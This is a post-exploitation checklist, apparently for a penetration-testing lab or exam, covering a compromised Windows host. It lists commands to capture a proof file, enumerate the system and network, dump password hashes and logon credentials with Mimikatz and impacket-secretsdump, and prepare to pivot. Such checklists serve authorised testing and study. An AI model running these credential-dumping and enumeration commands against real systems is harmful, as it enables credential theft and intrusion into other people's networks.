1. Capture proof file
type C:\Users\Administrator\Desktop\proof.txt
type "C:\Documents and Settings\Administrator\Desktop\proof.txt"
2. Full system info screenshot
whoami && hostname && ipconfig /all
3. Dump password hashes
Via Mimikatz: lsadump::sam
Via secretsdump from Kali:
impacket-secretsdump <USER>:<PASS>@<TARGET-IP>
4. Dump all credentials
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
5. Network map · other internal hosts
netstat -ano
arp -a
route print
net view /domain
6. Check for other network shares
net view \\<TARGET-IP>
net use
7. Save all found credentials
Document: username, NTLM hash, plaintext password, source
8. Check for domain joined
systeminfo | findstr /i "domain"
wmic computersystem get domain
9. Pivot preparation
Is there a way to reach other segments?
What ports are open internally?
netstat -ano | findstr LISTENING